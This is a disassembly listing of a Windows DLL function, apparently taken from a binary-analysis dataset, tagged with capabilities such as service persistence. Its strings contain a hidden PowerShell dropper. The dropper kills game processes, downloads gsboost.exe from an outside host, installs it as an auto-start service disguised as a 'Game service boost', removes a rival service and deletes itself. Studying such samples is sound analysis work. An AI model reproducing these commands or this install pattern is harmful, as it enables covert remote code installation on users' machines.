Function at 0x10001220
Capabilities:
Create directory
Create process on windows
Get common file path
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000403c
mov eax, dword fs:[0]
push eax
sub esp, 0x38c
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x100012ff
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x380]
call fcn.10002160
push str.gsboost
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.100026c0
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x36c]
cmp ecx, 8
jb 0x100012e0
mov edx, dword [ebp - 0x380]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100012d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100012d6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10003206
add esp, 8
xor eax, eax
mov dword [ebp - 0x370], 0
mov dword [ebp - 0x36c], 7
mov word [ebp - 0x380], ax
jmp 0x1000130f
push 0x10005244
lea ecx, [ebp - 0x230]
call fcn.10002160
mov dword [ebp - 4], 1
cmp dword [ebp - 0x220], 0
je 0x100016dc
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
push 0
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0xb0
lea eax, [ebp - 0x2f8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [ebp - 0x220]
mov esi, 0x7ffffffe
mov eax, esi
add esp, 0xc
sub eax, ecx
cmp eax, 0xf
jb 0x10001738
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
push 0xf
cmovae eax, dword [ebp - 0x230]
push str.powershell.ps1
push ecx
push eax
push ecx
push dword [ebp - 0x350]
lea ecx, [ebp - 0x368]
call fcn.10002e20
mov byte [ebp - 4], 2
lea eax, [ebp - 0x368]
cmp dword [ebp - 0x354], 8
lea ecx, [ebp - 0x2f8]
cmovae eax, dword [ebp - 0x368]
sub esp, 0xc
push eax
call fcn.10002520
mov eax, dword [ebp - 0x2f8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x2f8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x2fc], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x354]
cmp ecx, 8
jb 0x10001431
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001427
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001427
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10003206
add esp, 8
xor eax, eax
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x354], 7
mov word [ebp - 0x368], ax
cmp dword [ebp - 0x2a8], eax
je 0x100016d1
mov edx, str.taskkill__f__im__Fleshost.exe__n
lea ecx, [ebp - 0x2f8]
call fcn.10002790
mov edx, str.taskkill__f__im__hl.exe__n
mov ecx, eax
call fcn.10002790
mov edx, str.taskkill__f__im__cstrike.exe__n_n
mov ecx, eax
call fcn.10002790
mov edx, str.powershell__WindowStyle_Hidden__Command__Set_Item__Path_env:__COMPAT_LAYER__Value_RunAsInvoker_
mov ecx, eax
call fcn.10002790
mov edx, str.Invoke_WebRequest__Uri_http:__update.gs_boost.me_gsboost.exe__OutFile_
mov ecx, eax
call fcn.10002790
cmp dword [ebp - 0x21c], 8
lea edx, [ebp - 0x230]
push dword [ebp - 0x220]
cmovae edx, dword [ebp - 0x230]
mov ecx, eax
call fcn.10002f80
mov edx, str.gsboost.exe_
mov ecx, eax
call fcn.10002790
mov edx, str.New_Service__Name_gsboost__BinaryPathName_
mov ecx, eax
call fcn.10002790
cmp dword [ebp - 0x21c], 8
lea edx, [ebp - 0x230]
push dword [ebp - 0x220]
cmovae edx, dword [ebp - 0x230]
mov ecx, eax
call fcn.10002f80
add esp, 8
mov edx, str.gsboost.exe__StartupType_Automatic__Description_Game_service_boost_
mov ecx, eax
call fcn.10002790
mov edx, str.Start_Service__Name_gsboost_
mov ecx, eax
call fcn.10002790
mov edx, str.Stop_Service__Name_fleshost_
mov ecx, eax
call fcn.10002790
mov edx, str.sc.exe_delete_fleshost__n_n
mov ecx, eax
call fcn.10002790
mov edx, str.Remove_Item__Path__MyInvocation.MyCommand.Path
mov ecx, eax
call fcn.10002790
lea ecx, [ebp - 0x2f4]
call fcn.10002490
test eax, eax
jne 0x1000155a
push eax
mov eax, dword [ebp - 0x2f8]
lea ecx, [ebp - 0x2f8]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
mov ecx, dword [ebp - 0x220]
sub esi, ecx
cmp esi, 0x2e
jb 0x1000173d
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
push ecx
cmovae eax, dword [ebp - 0x230]
push eax
push 0x2e
push str.powershell.exe__ExecutionPolicy_Bypass__File__
push ecx
push dword [ebp - 0x350]
lea ecx, [ebp - 0x398]
call fcn.10002e20
push str.powershell.ps1_
lea edx, [ebp - 0x398]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x248]
call fcn.100026c0
mov ecx, dword [ebp - 0x384]
add esp, 4
cmp ecx, 8
jb 0x100015f9
mov edx, dword [ebp - 0x398]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100015ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100015ef
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10003206
add esp, 8
push 0x40
lea eax, [ebp - 0x338]
mov dword [ebp - 0x33c], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x34c]
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
cmovae eax, dword [ebp - 0x248]
push ecx
lea ecx, [ebp - 0x33c]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001678
push 0xffffffffffffffff
push dword [ebp - 0x34c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x34c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x348]
call esi
mov ecx, dword [ebp - 0x234]
cmp ecx, 8
jb 0x100016b4
mov edx, dword [ebp - 0x248]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100016aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000170e
push ecx
push edx
call fcn.10003206
add esp, 8
xor eax, eax
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 7
mov word [ebp - 0x248], ax
lea ecx, [ebp - 0x2f8]
call fcn.10001750
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x1000171e
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001714
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001714
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10003206
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100031f8
mov esp, ebp
pop ebp
ret
call fcn.10001170
call fcn.10001170
int3